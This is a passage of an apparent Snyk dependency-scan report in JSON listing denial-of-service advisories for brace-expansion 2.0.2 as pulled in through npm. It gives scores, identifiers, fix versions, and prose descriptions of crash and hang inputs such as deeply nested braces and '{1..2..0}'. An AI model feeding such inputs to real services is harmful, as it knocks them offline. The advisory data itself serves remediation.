"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
